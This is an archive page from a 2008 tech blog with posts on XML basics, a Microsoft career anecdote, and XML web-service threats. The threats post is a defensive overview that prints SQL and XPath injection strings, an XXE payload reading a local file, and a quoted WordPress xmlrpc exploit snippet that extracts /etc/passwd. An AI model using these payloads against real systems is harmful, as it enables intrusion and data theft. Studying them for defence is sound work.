Character codes less than 128 (effectively, the ASCII repertoire) are presented "as such", using one octet for each code (character) All other codes are presented, according to a relatively complicated method, so that one code (character) is presented as a sequence of two to four octets, each of which is in the range 128 - 255. This means that in a sequence of octets, octets in the range 0 - 127 ("bytes with most significant bit set to 0") directly represent ASCII characters, whereas octets in the range 128 - 255 ("bytes with most significant bit set to 1") are to be interpreted as really encoded presentations of characters.<Reference>

UTF-16 encoded each character as a sequence of two octets(Two 8 bit octets making it 16bits)

UTF-32 encodes each character value as a 32-bit binary integer, i.e. as four octets. This is a very obvious and simple encoding. Representing the actual value as it is...However it suffers from the limitations that each simple ASCII character in UTF-32 encoding will take 4 bytes.

References:

1) Tutorial on Character Codes

2) Unicode on Wikipedia

3) Code Pages on MSDN

Xml Threat Protection

2008-07-03T00:01:00.000-07:00

XML Threat Protection

Problem: Ignorance, negligence or malicious intent.
Any of the above and the XML based web-services can be doomed by various kinds of attacks,
Denial of service( or DOS) being the most common.

Here are the typical threats to an XML based web-service:

1) Encoding Threats

o Threats related to naïve or broken XML parsers not designed to handle encodings correctly
o Failure to maintain encoding information for an XML document

<?xml version="1.1" encoding-type="foo"/>

Solution: Rejecting unsupported encoding types.

2) Structural Threats

o Threats related to the structure of the XML document, such as oversized payloads and components

The structure of the XML can be bloated (over sized) in number of ways.
The problem is that it is a well-formed XML, Although it may not be a Valid XML (not validating to its schema).
Since, parsing occurs before schema validation, an attacker will succeed in a denial of service attack
by keeping the machine busy parsing huge payloads of data.

Solution:
Limit Enforcement for XML Parsing:

a) Limit enforcement for Depth/Nesting Level : Putting a cap on depth(Nesting) of the nodes
<root>
<attack>
<attack>
<attack>
<attack>
....
b) Limit on max #Attributes per element: Putting a cap on Number of attributes
<attack a1=“1” a2=“1” a3=“1” a4=“1” a5=“1” a6=“1”… />

c) Limit on max #of Sibling Nodes: Putting a cap on Number of Sibling Nodes
<Attack>DoS</Attack>
<Attack>DoS</Attack>
<Attack>DoS</Attack>
<Attack>DoS</Attack>
<Attack>DoS</Attack>
<Attack>DoS</Attack>…

d) Limit on over sized Payload
* Limits on the size of the processing instructions,
* Limits on size of comments,
* Limits on size of single CDATA items,
* Limits on size of attribute values
* Limits on size of content text() in node.
<attack>
Huge Binary BLOB of Data...
MHGJ+asd78xaweKHShghghtFHJGFdsjkbkjH76+dbn.....
....
</attack>

e)

Limit on names
* Oversized element names,
* Oversized attribute names and
* Oversized processing instruction target names.

3) Grammar Validation Threats

o Schema Poisoning

Referencing schema in an xml document is done by the schemaLocation attribute.

Example:

<?xml version="1.0"?><note    xmlns="http://www.w3schools.com"    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"    xsi:schemaLocation="http://www.w3schools.com note.xsd">

The schemaLocation attribute value consists of one or more pairs of URI references, separated by white space.

Fortunately, the presence of these URI references does not require the processor to obtain or use the cited schema documents,
And the processor is free to use other schemas obtained by any suitable means, or to use no schema at all.

Solution: Ignore all schemaLocation attributes in the XML and to use the pre-configured list of schemas.

4) Semantic Threats

o XPath Injection, SQL injection – any threat that manipulates the representation of the XML document to change the semantics

4.1) SQL Injection: To read more click here

In a nutshell, SQL injection can be described well with an Example:
Most applications accept User Input, create a SQL Query and send it to the backend database.

The Attacker tries to Inject SQL statements in such a way that it logically results in a query
that always returns true.

For example:
Select * from users where loginID = '' or 1=1 and password=' ' or 1=1
The Attacker injected 1=1 by framing the user Input and since 1=1 is always True, the attacker will gain access into the Database
without giving out the LoginID or password. Another more malicious example will be:
select * from data where id=1; DROP TABLE users;

But How does sql injection come into picture with XML?

www.wordpress.com is a very popular free blogging website which uses xmlrpc
In April of 2007, the vulnerability in wordpress caused SQL Injection attack.

Here is the snippet from the exploit (Download here) which gets the /etc/passwd file from the remote server:

print"\nThis deserves no mercy....\n Lets get the /etc/passwd \n";my $sql4 = "<?xml version=\"1.0\"?><methodCall><methodName>mt.setPostCategories</methodName>   <params>   <param><value><string>".$postid." union all select load_file(0x2f6574632f706173737764)</string></value>   </param>   <param><value><string>".$username."</string></value>   </param>   <param><value><string>".$password."</string></value>   </param>   <param><value>  <array>    <data><value>  <struct>    <member>      <name>categoryId</name>      <value><string>1</string></value>    </member>    <member>      <name>categoryName</name>      <value><string>Uncategorized</string></value>    </member>    <member>      <name>isPrimary</name>      <value><boolean>0</boolean></value>    </member>  </struct></value>  </data></array></value>   </param>   </params></methodCall>";my $req2 = new HTTP::Request POST => $host . "/xmlrpc.php";$req2->content($sql4);$res2 = $ua->request($req2);$out2 = $res2->content;@result3=split(/category_id =/,$out2);$hash=substr($result3[1],1,1600);print "Here is the /etc/passwd file:\n\n\n";

As you may have guessed, xmlrpc sends SQL queries as part of the Element content.

Solution: Strong and Efficient RegEx support for matching element Content for malicious sql statements.

4.2) XPath Injection:

The XPATH Injection is analogous to SQL injection.
For example: Strings passed from the user input to the XPATH Parser are vulnerable:

"//users/user[LoginID/text()=' " + loginID+ " ' and password/text()='"+ password +" ']" 

//users/user[loginID/text()='' or 1=1 or ''='' and password/text()='' or 1=1 or ''='']

Solution: Validation of Xpath queries.

5) External Entity Threats

o Manipulation of the XML processor de-reference external URIs

Reference: Adobe 7.0 XML parser vulnerability of external URI's:
source http://shh.thathost.com/secadv/adobexxe/

Adobe reader 7.0 XML parser could be tricked into reading Local files from the machine.

The following example XML document will make an XML parser read c:\boot.ini and expand it into the content of the foo tag:

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "c:/boot.ini"> ]> <foo>&xxe;</foo>

From www.SecurityFocus.com: External Entity attack

External entity references allow embedding data outside the main file into
an XML document. In the DTD, one declares the external reference with the
following syntax: <!ENTITY name SYSTEM "URI">

XML processor behavior as specified is [http://www.w3.org/TR/REC-xml#include-if-valid]:

"When an XML processor recognizes a reference to a parsed entity, in
order to validate the document, the processor must include its
replacement text. If the entity is external, and the processor is not
attempting to validate the XML document, the processor may, but need
not, include the entity's replacement text..."

Now assume that the XML processor parses data originating from a source under
attacker control. Most of the time the processor will not be validating,
but it MAY include the replacement text thus initiating an unexpected
file open operation, or HTTP transfer, or whatever system ids the XML
processor knows how to access.

Solution:
To follow known good URIs (white listed URIs). Or
To ignore External Entity references.

6) XML Security Threats

The threat is that attacker can replay previous messages.

Solution is to have a filter on selected values inside the message (Nonce, Message ID or Custom XPath) which cannot be repeated. The filter will than stop any subsequent replayed request.

Have a Good Day!

I don't want to be Smart and Successful

2008-07-02T04:23:00.000-07:00

As I stumbled and fumbled over my career in the past, somehow I Landed up in Microsoft. The initial euphoria of Joining Microsoft Died soon and reality set in. I was nobody, just another brick in the wall doing some patches, bug fixes, fixing build and sanity breaks.

There was a internal group in Microsoft headed by nerdy Architect who's name I would not say in public. That group was tech savvy and liked to take up new experiments and small side on projects. As a new MS Employee with full fervor and enthusiasm I was ready to take up challenges and show them what I was. Now this Nerdy Architect gave me task to capture Network bandwidth per process. Apparently there was no straight forward way to capture per process bandwidth. With snooping of ethernet frames ruled out, we wanted a better scalable way to highlight and show per process network usage as a utility. I spent days reading MSDN trying to find what all Api's are available. With Time I made a small CLI based utility. I sent this to the group. To my astonishment this Nerdy Architect rudely replied that he didn't Like the utility and even went to the extent of ridiculing it. I was taken aback. That was not the kind of open-environment I had hoped I would get in Microsoft. I replied back that I would try to improve the utility. That was my first bad experience in Microsoft.

I Left Microsoft after a short stint of 1.5 years. Although I don't blame the Nerdy Architect for it, but he is one of the bad episodes I had in my corporate career.

There are smart people and there are successful people and there are nice people.That means there is a total of 7 possible combinations.

The most dangerous combination is being smart & successful.

Smart and successful people start thinking that they can never make mistakes (Pirates of the Silicon Valley) And If there are not so nice then god help those who work with them!

I don't want to be smart and Successful. I want to be smart & nice. Success might come on the way...

Firefox 3.0 is released

2008-07-02T03:24:00.000-07:00

Firefox 3.0 is available at http://www.getfirefox.com

The X of the XML

2008-06-29T19:30:00.000-07:00

The X OF XML

Add X to anything and it becomes sexy... that's what my boss told me once...

Back in 2001 when I was a kid, just out of college, I had joined a small startup name Aplion Networks.
The company had a router on a real time system name Vxworks. Things were going great, until the 30 million funding went foo() and Company future was in doldrums.

XML was a hot new technology then and Web based configuration using XML was IN.
Nobody in the team who worked on core protocols, firewalls, QOS and other cool stuff wanted to work on XML.
But management wanted the cool stuff (a last step to save a dying product) and I was the default choice.

A newbie who was given the task of getting the XML buzzword into the product specification.

This is my tryst with XML...

XML is Text

XML was text, everything about it was text and fortunately or unfortunately it is still text!

But back in 2001 we were so use to the binary protocols. TCP/IP, the header, length, type and its value..fixed size IP Datagram’s, and the Ethernet frames...Why do we need data to be send in as text? but then everything about Internet was text..

HTML was a hit thing, and it was simple.
Encapsulate things in Tags like <head> <body> <h1> <b1> ### <Li> </h1> </body> </head>
which were understood by browsers and they render the text inside those tags. Simple and effective!

Everyone had praise for such a simple and effective way to represent their data...
Previously people had their own way to represent their data in .ini files and .csv files and .conf files.

For ex: I searched for *.ini files in my windows and I found tons of them!

[Startup]
AppName=SoundMAX
[Languages]
Default=0x0009
count=20

Wouldn't it be nice if there was a standard way to represent data?
Wouldn't it be nice if there is a standard parser for parsing such a standard?
I think that was the original intention in w3c for getting out XML.

Originally based on SGML (which I've heard was the mother of all ML's (Meta languages)..
XML was defined to be a meta language to represent data.

Data was to be encapsulated in <tags> and end tags </tags>
Attributes were to be defined inside tags <tags name="MyName" />

The idea was to come out with a standard simple parser which could parse a 'simple' text file in the following format:

<?xml version="1.0" encoding="UTF-8"? standalone="yes">
<root>
<Name age="29">MamaMia</Name>
<phone/>
</root>

Suddenly people were going crazy over the simplicity of representing data in XML.

- The tags were to be defined by the programmers designing their Applications.

- There was no need to define the Endiness of data.

- no htons() or network to host macros were required.. after all everything was text!

- It was easy to debug and edit, it was text! Network apps using XML as protocol was considered cool...

There was nothing like xml, nothing comparable...Nothing even remote had happened in the past which could even come close! That was the power of X M L ... or At least that was the hue and cry over xml in 2001..

Soon people defined protocols between applications using XML:

The SOAP format in XML was defined to be: 
<?xml version="1.0"?>
<soap:Envelopexmlns:soap="http://www.w3.org/2001/12/soap-envelope"
soap:encodingStyle="http://www.w3.org/2001/12/soap-encoding">
<soap:Header>...</soap:Header>
<soap:Body> 
    <soap:Fault></soap:Fault>
</soap:Body>
</soap:Envelope>

Looks Cryptic isn't it? SOAP once stood for 'Simple Object Access Protocol' but this acronym was dropped with Version 1.2 of the standard, as it was considered to be misleading. <Wikipedia>

Namespaces xmlns="URI"

Writing the above soap xml without the namespaces:

<Envelope>
<Header>...</Header>
<Body>
   <Fault>...</Fault>
</Body>
</Envelope>

simple, neat and clean isn't it? Then why Clutter it with Namespaces?

Namespaces were not new, they were being used in languages like c++ since ages.The standard namespace defined in c++ was std.

The programmer had two ways to use C++ namespaces.

1) Prefix namespace in front of all functions. Example: std:cout << "Hello World"; OR
2) Define the namespace at the top and then you may not prefix the namespace (for better clarity of the code)
   Example: using namespace std; 
            cout << "Hello world"

The Idea was that people defining there xml tags(or classes in c++) could declare them within their own namespaces. And hence, tag names of two different xml's will remain unique owing to two different namespaces.But can't namespace itself clash? They wouldn't, if people who declare their xml's use Unique URI's(there domain names, which would be unique).And xmlns was a keyword defined to define namespaces like this:

xmlns:soap="http://www.w3.org/2001/12/soap-envelope"

Example:
<soap:Envelope xmlns:soap="http://www.w3.org/2001/12/soap-envelope">
<soap:Header>...</soap:Header>
<...>

where soap was called the prefix and the href as the unique URI (could be fictitious) but had to be unique.Also note that 'prefixes' themselves carry no meaning, it’s the URI that make them Unique.Two different xml's could define two prefixes pointing to a single namespace URI. Point is that they are still the same namespace.Usage of xmlns:1) Define xmlns:prefix="URI" somewhere at the parent node (or the place you start using it)2) Prefix all child nodes with the prefix.Fortunately there is a way to remove the cryptic namespace and make your xml neat and clean.

Default namespace

If most of the elements in the document belong to the same namespace, it is Not necessary to prefix each element name. Instead you can define a default Namespace that applies to all non-prefixed elements and attributes. The syntax for defining a default namespace is xmlns=”namespace” (no prefix).

i.e.
<Envelope xmlns="http://www.w3.org/2001/12/soap-envelope">
<Header>...</Header>
<...>

Thank goodness, we managed to make our XML Look neat & clean..

Also Note that the default namespace applies to the element on which it was defined and all its descendants.

Plus: If one of the descendants has another default namespace defined on it, this new namespace definition overrides the previous one and becomes the default for that element and all its descendants.

From the XML Spec:
The Namespaces in XML Recommendation [XML Names] assigns a meaning to names containing colon characters. 
Therefore, authors should not use the colon in XML names except for namespace purposes, 
but XML processors must accept the colon as a name character. Another cryptic definition in the world of standards!

But my best cryptic definition is the section defined here: http://www.w3.org/TR/REC-xml/#AVNormalize It took two people to decipher what’s written to implement it in Sonoa xml parser.

Character references and Numerical references

What happens when your data contains entities like < and > and " and '? Hmm.. maybe people should not even write < and > in their data! They should substitute it with:

They should substitute it with:

`&`	&	ampersand
`<`	<	less than
`>`	>	greater than
`'`	'	apostrophe
`"`	"	quotation mark


For example 
<?xml version="1.0">
 <Equation>  A &gt; B </Equation>

Is Actually is A > B

Now to represent Characters in there Numerical form, XML provides as Way.

- Open character map in Windows and check out the numeric value of the symbol

- Now write it down as &# NUM or &# x HexNumber.

Those were the predefined entities. The XML Guys didn't stop there..

They found a way to define Custom Entities. Didn't I tell you that people have a nag to complicate things?

<?xml version="1.0" 	encoding="UTF-8"?>
<!DOCTYPE 	example [
       <!ENTITY copy "©">
<!ENTITY copyright-notice "Copyright &copy; 2006, XYZ Enterprises">]>
<example> &copyright-notice; </example>

When viewed in a suitable browser, the XML document above appears as:

<example> Copyright © 2006, XYZ Enterprises </example>

What the example shows is that Entity references can be recursive. We first Defined an entity copy And then we defined copyright-notice containing © And then finally used &copyright-notice; in the data.

Comments

<!-- And this is a

Multiline comment ... -->

I find them generally inconvenient to close the comment especially when its on a single Line. C and C++ supported both single line and multiLine comments since Ages. Visual Basic had single Line comments starting with a qoute ' Dim LightOut.

Everyone is aware of how useful single Line comments are while editing source files. XML should have provided single Line comments but then didn't.

Displaying XML on the web

XML documents do not carry information about how to display the data. Without using CSS or XSL, a generic XML document is rendered as raw XML text by most web browsers. Some display it with 'handles' (e.g. + and - signs in the margin) that allow parts of the structure to be expanded or collapsed with mouse-clicks.

In order to style the rendering in a browser with CSS, the XML document must include a reference to the stylesheet:

<?xml-stylesheet type="text/css" href="myStyleSheet.css"?>

XML Declaration

As you might have guessed, xml declaration is not mandatory. But it helps in declaring the

* version whether is XML 1.0 or XML 1.1

* encoding-style of the document.

Does the document contain normal Ascii characters OR Unicode characters?

And if Unicode characters then in which encoding ( UTF-8 or UTF-16 or UTF-32)?

* standalone= "yes or no"

Meaning if the xml document was standalone or it contain references to other xml documents. The references are made to externally defined DTD.

For example:

<?xml version="1.0" encoding="UTF-8" standalone="no"?> with

<!DOCTYPE s1 PUBLIC "http://www.ibm.com/example.dtd" "example.dtd">

<root/>

Now what is DTD? Well we will come to it at a later point.

Encoding-type

What is this encoding anyways? And why do we have so many types?

As I've already said it earlier, humans do what they do best: Complicate things.

Well encoding-type is one another discussion which I would like to do now. ASCII was Simple, Each character 7 bit long (A signed character) containing MAX 128 characters.Take a look at all the Ascii characters here

Well-formed and valid XML documents

There are two levels of correctness of an XML document: <Wikipedia>

Well-formed. A well-formed document conforms to all of XML's syntax rules. For example, if a start-tag appears without a corresponding end-tag, it is not well-formed. A document that is not well-formed is not considered to be XML; a conforming parser is not allowed to process it.

Valid. A valid document additionally conforms to some semantic rules. These rules are either user-defined, or included as an XML schema or DTD. For example, if a document contains an undefined element, then it is not valid; a validating parser is not allowed to process it.

Well formed'ness is easy to understand. If the parser accepts it, it’s well formed. For example: <age> 29 </age> is a well formed XML.

But what about validity? Ask a Lady her age and she might reply in xml as:

<?xml version="1.0"?> <age> Guess? </age>

This is a well formed XML but not a valid XML. Since age in the above xml is not a numeric quantity. Applications accepting XML data wanted to confirm(or validate) that the data is in the format they expect it to be. i.e. <Age>.. text() could be validated to be an Integer and within a defined boundary.

DTD was defined to write down rules to validate the tags, attributes and content types inside that XML. But DTD was a language in itself and was found to be very cryptic and unpractical.

Hence came the XML-Schema which made the XML world utterly complicated for a layman to understand.

XML Schema will be dealt in another Post,

Hope you enjoyed reading this post, as much as I enjoyed writing it...

cu later,

WoOd’s TechLog

Linux distro for linux web server?

Asana

Tryst with Netflix ends

Vertical search space

1.5M stolen Facebook IDs up for sale

Proof Reading Docs

Downhill Path

[techno-jazz] The Automated Build

Apache Logging Infrastructure

Ego's in work place

Is that enough?

The Man who knows

CvsSpam: Things I learnt...

Choice of Choices..

Smart juniors...

Fan of Chinmaya Dunster

I love startup's

How the AOL-Time Warner Merger Went So Wrong

Every second guy in India has a Mobile

500 million / 1.15 billion = 0.434782609

Why did MS chose a new data model?

techno-jazz: Get your requirement right

LED traffic lights don't melt snow, do cause accidents.

LED traffic lights don't melt snow, do cause accidents

Microsoft China Steals CODE from a startup

SSO - Single Sign on

Gartner reports can be rigged?

How to be a great project manager?

http://xkcd.com/632/

Born geek

Rethinking the user interface...

Comp.lang.c FAQ list · Question 1.32

Design flaw in production

Computing Sins

Monty Hall Problem

Harley Davidson, Welcome to India

My new touch phone...

Malloc / Free performance Tuning

On the road to mediocrity

Whom to pay || How much to pay?

%cd and %~dp0

is Technology Invading Privacy?

Bing Bing

Best matchGooglewww.google.com

Areas you want to improve as a leader?

Not Reproducible

Performance Bonus shot down

What's happening right now?

Reasons for Failure...

I'm Feeling Lucky

Introducing *any* Surface

(pi)

Joomla on Godaddy Hosting, SEO problems

Project management

HTML: Image alignment

Let's go-freak!

Poignant guide to Ruby

Data copy!

Canon EOS 5D Mark II

Gdb source window

AVL / Red Black Trees

malloc(0)

Testing: Developer perspective

./a.out readonly strings

XP theme, looks like Vista!

http://xmltech.wordpress.com/

Writing 64 bit Clean code

Signed != Unsigned

To be or not to be..

Crash at the nth hour

Stint with a CMS - Twiki, installations and problems

Lock free Queues

Users don't like bugs

Regression

Morality at workplace

Kill the performance - Part 1

Annoying beep, flashes on using vim

Yahoo: Google Desktop available for Linux

Google type in hindi

Best match
Google
www.google.com

Introducing any Surface